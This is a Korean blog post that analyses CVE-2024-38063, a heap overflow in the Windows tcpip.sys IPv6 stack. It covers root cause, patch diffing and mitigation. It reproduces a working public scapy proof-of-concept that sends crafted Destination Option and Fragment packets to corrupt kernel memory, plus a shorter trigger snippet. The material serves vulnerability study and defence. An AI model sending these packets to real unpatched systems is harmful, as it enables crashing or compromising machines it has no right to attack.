CVE-2024-38063 : Windows TCP/IP IPv6 Vulnerability Analysis

2024. 10. 3. 16:06Posts

Intro

 

TOOR 팀 활동을 하며 분석하게된 윈도우 커널 드라이버 원데이 취약점에 관한 글입니다.

 

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38063

 

Security Update Guide - Microsoft Security Response Center

 

msrc.microsoft.com

 

CVE-2024-38063은 2024년 8월 13일에 패치가 발표된 Windows TCP/IP RCE 취약점입니다. IPv6의 확장 헤더 로직의 에러 처리 부분에서 잘못된 연결 리스트 처리에 의해 Integer overflow를 일으켜 더 나아가 Heap overflow를 발생시킬 수 있습니다.

 

해당 취약점을 악용하기 위해서는 타겟에 IPv6 기능이 활성화되어있어야합니다.

 

취약점은 윈도우의 tcpip.sys 드라이버에서 발생합니다. 여러 분석 글에서도 다뤘듯, tcpip.sys의 패치 전 후의 디핑 결과를 통해서 취약점이 발생하는 부분을 알아낼 수 있습니다.

취약점은 tcpip.sys의 확장 헤더 처리 과정에서 일어납니다. 또한 이를 취약점으로 연계시키기 위해 PoC에서는 확장 헤더의 재조립 기능을 이용합니다. 때문에 쉽게 취약점을 이해하기 위해 해당 글을 읽기에 앞서 IPv6의 확장 헤더 스펙에 대해서 먼저 살펴보시는 것을 추천드립니다.

 

https://www.microsoftpressstore.com/articles/article.aspx?p=2225063&seqNum=4

 

Understanding the IPv6 Header | Microsoft Press Store

IPv6 Extension Headers The IPv4 header includes all options. Therefore, each intermediate router must check for their existence and process them when present. This can cause performance degradation in the forwarding of IPv4 packets. With IPv6, delivery and

www.microsoftpressstore.com

 

또한 IPv6의 RFC 중, 확장 헤더에 대해서 설명된 부분(특히 Fragment, Destination Option)을 읽어보는 것을 먼저 추천합니다.

 

https://datatracker.ietf.org/doc/html/rfc2460

 

RFC 2460: Internet Protocol, Version 6 (IPv6) Specification

This document specifies version 6 of the Internet Protocol (IPv6), also sometimes referred to as IP Next Generation or IPng. [STANDARDS-TRACK]

datatracker.ietf.org

 

본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.

 

 

Vuln

 

Env

타겟 버전

 

 

*분석에서 사용한 타겟 버전은 패치가 적용되기 바로 이전의 빌드 버전과 차이가 있습니다.

 

RCA

해당 취약점은 윈도우 tcpip.sys 커널 모듈에서 IPv6 확장 헤더 패킷의 일괄적 에러 처리 과정에서 발생하는 취약점입니다. 이로인해 Integer Underflow가 발생할 수 있습니다.

 

윈도우에서는 IP 패킷들을 다음과 같이 특정 상황에서 일괄적으로 묶어 처리합니다. 윈도우에서는 전송받은 패킷을 처리하기 위해서 문서화되지 않은 구조체를 활용하며 해당 구조체는 패킷 데이터 처리를 위한 여러 메타데이터를 갖고 있습니다. Root Cause를 파악 하기위해서는 해당 구조체에 존재하는 필드 중, 현재 패킷의 헤더를 어디까지 파싱하였는지에 대한 필드(이하, current-offset이라 표현함.)에 대해 알아야합니다. 해당 필드가 이제부터 알아볼 취약점의 핵심이됩니다.

 

IPv6 스펙을 보면 알 수 있듯, IPv6는 확장 헤더라는 기능이 있으며 이에 대한 처리를 위해 윈도우에서는 tcpip!Ipv6pProcessOptions 함수를 제공합니다. 이때 패치가 적용된 부분은 Ipv6pProcessOptions의 가장 하단에 존재하는 다음과 같은 부분입니다.

 

해당 로직은 IPv6의 Destination option확장 헤더 처리 과정에서 유효하지 않은 값이 들어있을 때 패킷을 버리고 전송지로 ICMP Parameter Problem 메시지를 전송하는 역할을 합니다. 다음과 같은 코드로 잘못된 IPv6 확장 헤더를 보내 해당 메시지를 확인할 수 있습니다.

 

from scapy.all import *

ip_addr=''
mac_addr=''
iface = ''
packet = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
sendp(packet, iface)

 

 

IppSendErrorList는 앞서 언급한 패킷 연결 리스트를 돌며 각 패킷 구조체에 대해서 IppSendError를 호출하게됩니다.

 

IppSendError는 일괄 처리중인 각 패킷 객체에 대해 current-offset 필드 0으로 만드는 작업을 수행하고 오류 표시를 한 뒤 해당 패킷을 되돌리는 처리를 하게됩니다. 

 

패킷 구조체에 대해서 current-offset 필드를 0으로 만들기 전 후 비교는 다음과 같습니다.

IppSendError 호출 이전의 current-offset 필드값
IppSendError 호출 이후의 current-offset 필드값

 

나머지 패킷은 current-offset이 에러 처리 로직에 의해 0으로 되었음에도 불구하고 에러 코드가 삽입되지 않았기 때문에 헤더 파싱을 계속하게됩니다.

 

 

 

이로 인해 current-offset이라는 필드 값을 0으로 만든체로 다른 로직을 수행하게됩니다. 이는 current-offset을 활용한 로직에서 부작용을 불러일으킬 수 있습니다.

 

PoC 분석

PoC를 분석하며 어떤 과정을 거쳐 Heap overflow까지 가능하게 했는지 알아봅시다.

https://github.com/ynwarcs/CVE-2024-38063

 

GitHub - ynwarcs/CVE-2024-38063: poc for CVE-2024-38063 (RCE in tcpip.sys)

poc for CVE-2024-38063 (RCE in tcpip.sys). Contribute to ynwarcs/CVE-2024-38063 development by creating an account on GitHub.

github.com

from scapy.all import *

iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")

 

PoC에서 볼 수 있듯, 총 3개의 패킷의 묶음을 연속해서 생성하고 있다는 것을 알 수 있습니다.

first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)

 

첫 번째 나타나는 확장 헤더는 앞서 RCA에서 언급한 current-offset을 0으로 만드는 취약점을 트리거 시키기 위해서 삽입된 코드입니다.

first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])

 

이로 인해 Destination Option 확장 헤더와 연결된 패킷들의 current-offset은 0으로 바뀌게됩니다.

그 이후에는 취약점을 이용하기 위해 Fragment 확장 헤더를 사용하는 모습을 볼 수 있습니다. 이를 통해 Underflow를 트리거 하기위해서는 Fragment 확장 헤더 처리 기능을 이용한다는 것을 알 수 있습니다.

second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'

 

tcpip.sys에서 Fragment 확장 헤더에 대한 처리는 Ipv6pReceiveFragment 함수에서 맡고 있습니다.

Ipv6pReceiveFragment는 재조립될 데이터 값을 계산하기 위해 current-offset을 이용하여 헤더가 아닌 데이터의 길이를 계산하는 로직을 가지고 있습니다.

 

이때 고정된 - 0x30을 수행하게되는데 취약점에 의해 current-offset은 0+8값을 갖고있기 때문에 Word integer underflow가 발생하게됩니다.

이로써 큰 길이(0xFFD8)를 갖는 재조립 패킷이 발생하게됩니다

 

 

PoC에서는 first를 Unfragmentable Part, second 패킷을 Fragmentable Part 부분이 되게끔하여 재조립을 유도하고 있습니다.  second 뒤에 나오는 third 패킷 코드는 오류에 대한 처리로 삽입된 코드입니다. 이는 PoC 원작자의 글을 보면 알 수 있습니다.

 

• IPv6 fragment #2 (same id), that may also be concatenated to the first two, but its main purpose is to complete the 2nd fragment so that errors aren't thrown out in case normal processing happens

 

 

third 패킷에 의해서 first와 second가 재조립되지 않는 정상적인 처리가 완료된 경우 third를 second와 재조립 시킴으로써 에러가 발생하지 않게끔 유도합니다.

 

이렇게 발생한 Fragment 객체들과 앞서 조작한 underflow된 큰 정수 값은 다음 두 곳에서 활용됩니다.

 

  • Ipv6pReassembleDatagram
  • Ipv6pReassemblyTimeout

 

Ipv6pReassembleDatagram은 길이 검증에 대한 코드가 삽입되어있기 때문에 Ipv6pReassemblyTimeout 함수를 활용해야합니다. 앞서 발송된 first + second가 재조립되고 재조립에 실패하여 Ipv6pReassemblyTimeout 함수가 호출된 경우를 노립니다. 이때 first + second 패킷이 재조립되고 1분동안 패킷을 받지 못한다면 IPv6 스펙상 다음과 같은 처리를 진행 해야합니다.

 

패킷의 첫 번째 조각 수신 후 60초 이내에 재조립을 완료하기 위한 충분한 조각이 수신되지 않으면, 해당 패킷의 재조립을 포기해야 하며, 그 패킷에 대해 수신된 모든 조각은 폐기되어야 합니다. 첫 번째 조각(즉, Fragment Offset이 0인 조각)이 수신된 경우, 그 조각의 출처에 ICMP Time Exceeded -- Fragment Reassembly Time Exceeded 메시지를 보내야 합니다.

 

윈도우의 tcpip에선 Ipv6pReassemblyTimeout 함수가 해당 처리를 담당하고 있습니다.

 

여기서 어떻게 Heap overflow가 유도되는지 알아봅시다.

 

Ipv6pReassemblyTimeout에는 다음과 같이 메모리 영역을 할당받는 코드가 존재합니다.

a1+0x88에는 앞서 계산했던 데이터 크기가 저장되며, Integer underflow가 발생했을 경우 해당 영역은 계산에 의해 0x40 크기의 메모리를 요청하여 두 번째 인자(v19)에 할당된 메모리 주소를 저장합니다.

이후엔 다음 코드에서 볼 수 있듯, 할당받은 영역 + 0x28 부터 옵션 헤더에 해당하는 부분(a1+0x80)을 계산된 길이 만큼 복사를 진행합니다. 이때 a1+0x88는 underflow된 길이 값으로 0xFFD8 길이의 값이 복사됩니다.

이로인해 Heap overflow가 발생하여 의도치 않은 영역을 덮어버릴 수 있습니다.

 

버그로 인해 의도치 않은 영역을 덮어쓰거나 접근하게되면 다음과 같은 크래시를 확인할 수 있습니다.

 

Patch

패치는 아주 간단합니다.

패치된 코드를 보면 패킷 리스트가 아닌 오류가 발생한 해당 패킷에 대해서만 IppSendError를 호출하는 모습을 볼 수 있습니다.

이로인해 Destination option에 의해 이후 연결된 확장 헤더에 대해 current-offset이 0이되는 상황을 방지했습니다.

 

Mitigation

CVE-2024-38063는 8월 13일에 공개된 패치를 적용하거나, IPv6 기능을 비활성화 시킴으로써 방지할 수 있습니다.

 

References